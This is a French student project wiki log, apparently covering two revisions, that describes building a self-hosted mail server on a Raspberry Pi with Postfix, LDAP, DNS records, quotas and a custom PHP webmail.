250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-17T09:58:44Z

Tteneur : /* Semaine 20 (15/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

